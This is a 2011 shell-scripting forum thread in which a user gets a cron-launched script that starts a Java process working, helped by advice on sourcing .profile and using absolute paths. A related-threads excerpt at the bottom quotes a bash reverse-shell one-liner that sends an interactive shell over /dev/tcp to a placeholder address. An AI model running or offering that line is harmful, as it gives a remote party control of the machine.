Running Shell Script in the cron, background process


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Running Shell Script in the cron, background process
# 1  
Old 11-03-2011
Running Shell Script in the cron, background process

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of confused and its the reason im looking for your advice. how does the instruction goes in the Shell script??
Is it:
Code:
#!/bin/bash
. .profile
command/proccess &

Or
Code:
#!/bin/bash
. $HOME/.profile
command/proccess &


Help please, and thanks for your time

Last edited by Franklin52; 11-08-2011 at 03:13 AM.. Reason: Please use code tags, thank you
# 2  
Old 11-03-2011
Don't rely on $HOME either, put the full path to the profile script you want to use:

Code:
#!/bin/bash
. /home/blacksteel1988/.profile
# rest of your script here

This User Gave Thanks to Chubler_XL For This Post:
# 3  
Old 11-04-2011
Unless you give the required command's path (ex. oracle home,java home etc) in .profile file, this file would not help in running cron. So if you want to run a script through cron, give full path in the script for external commands (sqlplus,java etc) and files/logs you want create while running script. In case you want to store a value from a file, which you have already created, we could try as
Code:
FILE_VALUE=$(cat temp_file.txt) # stores content of temp_file.txt to variable FILE_VALUE

The above would work if you run the script manually as most of the time we will save the file in the same location where we save the script. If the same needs to run in cron, the shell would not be able to find this .txt file as cron by default to my knowledge will run the script from the user's home directory. Hence the work around would be
Code:
FILE_VALUE=$(cat /full/path/to/temp_file.txt)

Similarly its the case of other commands which are not shell bulit-in.
# 4  
Old 11-07-2011
Well i did as Chubler XL suggested but still didn't work.... I'll be more specific and say that the script i want the cronjob to run, runs another script that starts a java proces, and it goes like...

Code:
#!/bin/sh
##This script start's another script that contains a java process
##
##starts here...

#1)
. /home/interp/.profile
/home/interp/up.sh &   ------> this script runs the script that start the java process


#Option 2
#. $HOME/.profile
#/home/interp/SH/audit_server_run.sh &  -------> and this is the script that directly starts the java process

exit 0
##End of script


I dunno actually how to make it work, and i appreciate i u guys could help me

Last edited by blacksteel1988; 11-11-2011 at 12:52 PM..
# 5  
Old 11-07-2011
So, you are telling, the master script runs when you execute it manually and doesn't run thru cronjob?...
Can you paste the entry of crontab -l
Or are we dealing with something else?
--ahamed
# 6  
Old 11-10-2011
Code:
TESTDB: /home/interp> crontab -l
#
##
#Edited by JFMA

#Stop process

32 6 * * * /home/interp/stop.sh  <-----This one works just Fine !!!

#Re start the process

33 6 * * * /home/interp/restart.sh  <----- This is my script, the one i posted above

#33 6 * * * /home/interp/SH/audit_server_run.sh & <----- and this is the script that directly starts the java process 

TESTDB: /home/interp>


Moderator's Comments:
Mod Comment Please use code tags when posting data and code samples, thank you.

Last edited by Franklin52; 11-11-2011 at 11:11 AM..
# 7  
Old 11-15-2011
Hi, i just wanted to thank you all, and tell you that i make it work..

This is what i did:
Code:
#!/bin/bash
#Edited by JFMA
##This is the script
##
##Starts here...

#1)

cd /home/interp/SH

. /home/interp/.profile
./interpreter_server_teller_run.sh &

exit 0

I really dunno exactly why, but it worked!!! after that just put it in the cron.
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. UNIX for Beginners Questions & Answers

Running process in the background

Hi, I have this simple c program that creates duplicate process with fork(): #include <sys/types.h> main() { if (fork() == 0) while(1); else while(1); } I tried running it in the background gcc -o test first.c test & And I got this list of running process: (4 Replies)
Discussion started by: uniran
4 Replies

2. Shell Programming and Scripting

Korn Shell script in stopped state while running in background

Hi, I want to run a shell script in background . but its going to stopped state $ ksh cat_Duplicate_Records_Removal.ksh & 8975 $ + Stopped (tty output) ksh cat_Duplicate_Records_Removal.ksh & why is this happening? Also could anyone please tell me what is a stopped... (12 Replies)
Discussion started by: TomG
12 Replies

3. Shell Programming and Scripting

Shell Script for continuously checking status of a another script running in background, and immedia

Hi, I want to write a script which continuously checking status of a script running in background by nohup command. And if same script is not running then immediately start the script...please help.. i am using below command to run script nohup system_traps.sh & but in some... (9 Replies)
Discussion started by: ketanraut
9 Replies

4. Shell Programming and Scripting

Shell scripting issue-running the background script

I have written the below query to genrate a telephone.I am passing account number from oracle database. I am calling 2 scripts which generate the bill 1. bip.sh (it runs in the background) 2.runXitInvoice_PROFORMA_integ bip.sh generates a number which runXitInvoice_PROFORMA_integ uses.How... (7 Replies)
Discussion started by: rafa_fed2
7 Replies

5. Shell Programming and Scripting

Running shell script via cron

Hi Guys, I do have a shell script that I scheduled to run via the cron but when the script don't run. But when I run the script manually it does run perfectly... What might be the problem? Thanks. (1 Reply)
Discussion started by: Phuti
1 Replies

6. Shell Programming and Scripting

Running Shell Script in the cron, background proccess

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (0 Replies)
Discussion started by: blacksteel1988
0 Replies

7. Shell Programming and Scripting

Shell script running in background

Dear all, I have a little problem trying to run a shell script in background, as you can see below. - the script is a simple one: #! /bin/bash exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0 - the name of the script is test.sh - the script is executable(chmod +x test.sh) - on the... (2 Replies)
Discussion started by: gd05
2 Replies

8. Solaris

Is user cron job running in background?

Hi, Should the user jobs specified in crontab be running in background? Cron daemon is already running in background. So I am not sure whether should the jobs (output and error messages are redirected to file) ran by it be explicitly stated to be run in background (& at end of command) if one... (1 Reply)
Discussion started by: joe_x
1 Replies

9. Shell Programming and Scripting

facing problem in starting a process in background using shell script.

hey all, i am working on sun solaris machine and i want to start a process in background using shell script (actually i wanna start tomcat server using shell script). please dont tell me that append a & at last because this is not working in the shell script. i have also used nohup and... (8 Replies)
Discussion started by: dtomar
8 Replies

10. UNIX for Dummies Questions & Answers

running process in background

I'm trying to install a solaris 9 patch cluster and when I try to use & to run in background it won't allow me to enter in my sudo password so it fails the install and sudo auth. Does Solaris not have screen like linux? If & will work what am I doing wrong? sudo ./install_cluster -q & is... (3 Replies)
Discussion started by: kingdbag
3 Replies
Login or Register to Ask a Question